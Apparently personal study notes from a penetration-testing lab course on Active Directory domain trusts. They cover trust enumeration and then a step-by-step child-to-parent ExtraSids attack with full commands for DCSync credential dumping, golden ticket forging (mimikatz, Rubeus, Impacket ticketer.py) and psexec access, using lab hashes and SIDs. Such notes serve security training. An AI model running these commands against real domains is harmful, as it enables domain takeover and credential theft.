19. Domain Trusts

Orgs acquire new companies and integrate their environment. Common way of integration? Establish trust relationship to the new domain.

Active Directory Trust Overview

Various types of trusts:

Trusts = transitive OR non-transitive.

Easy comparison: Transitive trust, you have extended the permission to anyone in your household (forest) to accept a package on your behalf. Non-transitively, you have given strict orders with the package that no noe other than the delivery service and you, the purchaser, can handle the package, and only you can sign for it.

Trusts can be setup in two directions: one-way or bidirectional

Trusts are very often setup incorrectly and provide unintended critical attack paths. May be setup quickly and not reviewed later for security implications. M&As with bidir trust to acquired company env may unknowingly introduce risk into the acquirer's environment if sec posture of the bought domain is unknown/untested.

Not uncommon to kerberoast against a domain outside the principal domain to obtain user with admin access in principal.


Enumerating trust relationships

Import-Module activedirectory
Get-ADTrust -Filter *

Example output:

Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=LOGISTICS.INLANEFREIGHT.LOCAL,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ForestTransitive        : False
IntraForest             : True
IsTreeParent            : False
IsTreeRoot              : False
Name                    : LOGISTICS.INLANEFREIGHT.LOCAL
ObjectClass             : trustedDomain
ObjectGUID              : f48a1169-2e58-42c1-ba32-a6ccb10057ec
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=INLANEFREIGHT,DC=LOCAL
Target                  : LOGISTICS.INLANEFREIGHT.LOCAL
TGTDelegation           : False
TrustAttributes         : 32
TrustedPolicy           :
TrustingPolicy          :
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False
Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=FREIGHTLOGISTICS.LOCAL,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ForestTransitive        : True
IntraForest             : False
IsTreeParent            : False
IsTreeRoot              : False
Name                    : FREIGHTLOGISTICS.LOCAL
ObjectClass             : trustedDomain
ObjectGUID              : 1597717f-89b7-49b8-9cd9-0801d52475ca
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=INLANEFREIGHT,DC=LOCAL
Target                  : FREIGHTLOGISTICS.LOCAL
TGTDelegation           : False
TrustAttributes         : 8
TrustedPolicy           :
TrustingPolicy          :
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False

ILFREIGHT.LOCAL has two dom trusts:

Aside from using built-in AD tools such as ActiveDirectory Powershell module, both powerview/bloodhound can be utilized to enumerate trust relationships, the type of trusts established, and the authentication flow. After importing PowerView, we can use Get-DomainTrust function to enumerate what trusts exist, if any.

PowerView can be used to perform dom trust mapping + provide info on type of trust and direction of trust. Get-DomainTrustMapping

Once we have a mapping we can enumerate across the trusts. i.e. Look at all users in child domain:

Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName

Another tool we can use to get domain trust is netdom

netdom query /domain:inlanefreight.local trust
netdom query /domain:inlanefreight.local dc
netdom query /domain:inlanefreight.local workstation

Also possible to use bloodhound and the prebuilt Map Domain Trusts query


Attacking dom trusts (CHILD TO PARENT TRUSTS) From Windows

SidHistory primer

ExtraSids attack , mimikatz

To perform this atk after compromising a child domain we need the below:

after compromise, we can login as DA / similar and perform a DCSync attack to obtain the NT hash for the KRBTGT account.

PS C:\htb>  mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt

use powerview Get-DomainSID func to get SID for child domain - it's visible in mimikatz output above though

PS C:\htb> Get-DomainSID

S-1-5-21-2806153819-209893948-922872689

next use Get-DomainGroup from powerview to obtain SID for enterprise admin group in parent domain. Get-ADGroup cmdlet works too Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL"

Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

this should fulfill all of the above points you can ls \\academy-ea-dc01.inlanefreight.local\c$ to try nd list smb share to determine if you actually have access before attack

now we create golden ticket w mimikatz

mimikatz.exe

mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

/sid:922872689 refers to sid for child domain we've compromised /sids:2865463114-519 refers to enterprise admins group of root domain /domain = fqdn or child domain /krbtgt is the krbtgt hash for child domain

type klist to see if kerb ticket is in memory after this

from here its possible to access any resources in parent domain


ExtraSids attack - Rubeus

Creating a golden ticket- /rc4 is our NT hash for krbtgt, /sids tells rubeus to create golden ticket giving us same rights as members of ent. admin group in parent domain

.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt

Check ticket is in memory with klist klist

Test the access with smb ls as above, or perform a DCSync attack against the parent domain, targeting lab_adm Domain Admin user.

PS C:\Tools\mimikatz\x64> .\mimikatz.exe

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Dealing with multiple domains- If target domain is not the same as user's domain, we need to specify the exact domain to perform the DCSync operation on the particular domain controller. This will look like the following:

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL

Attacking domain trusts - Child -> Parent (From linux)

This works extremely similarly to the above. Requirements:

The KRBTGT hash for the child domain
The SID for the child domain
The name of a target user in the child domain (does not need to exist!)
The FQDN of the child domain
The SID of the Enterprise Admins group of the root domain

Once we have complete control over the child domain we can use secretsdump.py to dcsync and grab the NTLM hash for the KRBTGT account

secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

Next use lookupsid.py

BRUTE FORCING SID

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 

Filter it out by piping output to grep and looking for domain SID

LOOKING FOR DOMAIN SID

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"

now target dc, grab domain, attach rid of enterprise admins group HANDY LIST OF KNOWN SIDs https://adsecurity.org/?p=1001

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"

Note: refer [[00a. Scenario specific information#Perform ExtraSids attack from Linux.]] If domain SID is: S-1-5-21-3842939050-3880317879-2865463114 and Group RID is: 519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup) then the group SID is S-1-5-21-3842939050-3880317879-2865463114-519

We have gathered the following data points to construct the command for our attack. Once again, we will use the non-existent user hacker to forge our Golden Ticket.

The KRBTGT hash for the child domain: 9d765b482771505cbe97411065964d5f
The SID for the child domain: S-1-5-21-2806153819-209893948-922872689

The name of a target user in the child domain (does not need to exist!): hacker

The FQDN of the child domain: LOGISTICS.INLANEFREIGHT.LOCAL

The SID of the Enterprise Admins group of the root domain: S-1-5-21-3842939050-3880317879-2865463114-519

Next we'll use ticketer.py from Impacket to construct a golden ticket. Ticket is valid to access resources in child domain, and parent domain specified by -domain-sid and -extra-sid respectively (extra-sid is parent domain)

ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker

Ticket will be saved as a credential cache (.ccache) file. Used to hold Kerb creds. Set your KRB5CCNAME env var

export KRB5CCNAME=hacker.ccache 

Then, we can use impacket's pssexec to test domain access: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py

psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5

Extra: Impacket also has tool raiseChild.py

Steps raisechild performs:

If target-exec is specified, it authenticates to parent domain's DC with Psexec.

raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Password:

raiseChild.py is handy, but it's essential to understand the process and be able to perform this manually. If the tool fails, we are more likely to understand why and be able to troubleshoot what's missing - which we wouldn't be able to do if we were blindly running this tool. ALWAYS be careful when running any autopwn tool / script

Other tools exist that can take data from bloodhound, ID atk paths, and perform autopwn functions that attempt to perform each action in an attack chain to elevate to DC (like a long ACL attack path)